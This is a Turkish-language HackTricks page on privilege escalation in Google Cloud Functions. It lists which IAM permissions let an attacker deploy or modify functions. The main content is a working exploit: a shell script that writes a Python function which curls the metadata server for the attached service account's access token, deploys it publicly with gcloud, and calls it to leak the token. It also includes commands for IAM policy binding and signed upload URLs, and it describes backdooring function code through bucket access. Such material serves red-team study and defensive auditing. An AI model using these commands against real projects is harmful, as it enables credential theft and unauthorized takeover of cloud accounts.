GCP - Cloudfunctions Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

cloudfunctions

Cloud Functions hakkında daha fazla bilgi:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Bu ayrıcalıklara sahip bir saldırgan istenilen (zararlı) kodla yeni bir Cloud Function oluşturabilir ve ona bir Service Account atayabilir. Sonra, Service Account token’ını metadata’dan leak ederek o hesaba yetki yükseltebilir.
Fonksiyonu tetiklemek için bazı ayrıcalıklar gerekebilir.

Exploit scripts for this method can be found here and here and the prebuilt .zip file can be found here.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Bu ayrıcalıklara sahip bir saldırgan bir Function’ın kodunu değiştirebilir ve hatta iliştirilmiş Service Account’u token’ı exfiltrating etmek amacıyla değiştirebilir.

Caution

Cloud functions deploy etmek için ayrıca default compute service account veya imajı build etmek için kullanılan service account üzerinde actAs izinlerine ihtiyaç vardır.

Fonksiyonu tetiklemek için version 1 cloudfunctions için .call izni veya role/run.invoker rolü gibi ek ayrıcalıklar gerekebilir.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Caution

Eğer Permission 'run.services.setIamPolicy' denied on resource... hatasını alıyorsanız, bunun nedeni --allow-unauthenticated parametresini kullanmanız ve bunun için yeterli izinlere sahip olmamanızdır.

The exploit script for this method can be found here.

cloudfunctions.functions.sourceCodeSet

Bu izin ile bir fonksiyon bucket’ına dosya yükleyebilmek için imzalı bir URL alabilirsiniz (ancak fonksiyonun kodu değiştirilmeyecek, yine de güncellemeniz gerekir)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Bu iznin tek başına attackers’ın bakış açısından ne kadar kullanışlı olduğunu pek bilmiyorum, ama bilmek iyi.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Yükselmek için kendinize önceki herhangi bir .update veya .create ayrıcalığını verin.

gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"

cloudfunctions.functions.update

Sadece cloudfunctions izinlerine sahip olmak, iam.serviceAccounts.actAs izni olmadan fonksiyonu güncelleyemezsiniz; BU YÜZDEN BU GEÇERLİ BİR PRIVESC DEĞİLDİR.

Fonksiyonları çağırma

cloudfunctions.functions.get, cloudfunctions.functions.invoke, run.jobs.run, ve run.routes.invoke izinlerine sahip bir kimlik, Cloud Functions’ı doğrudan çağırabilir. Ayrıca fonksiyonun genel trafiğe izin vermesi veya çağıranın fonksiyonla aynı ağ içinde olması gerekir.

curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{  "name": "Developer" }'

Bucket üzerinde Okuma & Yazma Erişimi

Eğer bucket üzerinde okuma ve yazma erişiminiz varsa koddaki değişiklikleri izleyebilir ve bucket’ta bir güncelleme olduğunda yeni kodu kendi kodunuzla güncelleyebilirsiniz; böylece Cloud Function’ın yeni versiyonu yüklenmiş backdoor’lu kod ile çalıştırılır.

Saldırı hakkında daha fazlasını şurada inceleyebilirsiniz:

GCP - Storage Privesc

Ancak bunu üçüncü taraf Cloud Function’ları önceden ele geçirmek için kullanamazsınız çünkü eğer bucket’ı kendi hesabınızda oluşturup dış projenin üzerine yazabilmesi için herkese açık izin verirseniz, aşağıdaki hatayı alırsınız:

Caution

Ancak bu, DoS saldırıları için kullanılabilir.

Artifact Registry üzerinde Okuma & Yazma Erişimi

Bir Cloud Function oluşturulduğunda projenin Artifact Registry’sine yeni bir docker image gönderilir. Image’ı yeni bir tane ile değiştirmeyi denedim, hatta mevcut image’ı (ve cache image’ını) sildim ama hiçbir şey değişmedi, cloud function çalışmaya devam etti. Bu nedenle, bucket’ta olduğu gibi çalıştırılacak docker container’ı değiştirmek için Race Condition attack suistimal etmek mümkün olabilir ama saklanan image’ı sadece değiştirmek Cloud Function’ı ele geçirmek için yeterli değildir.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin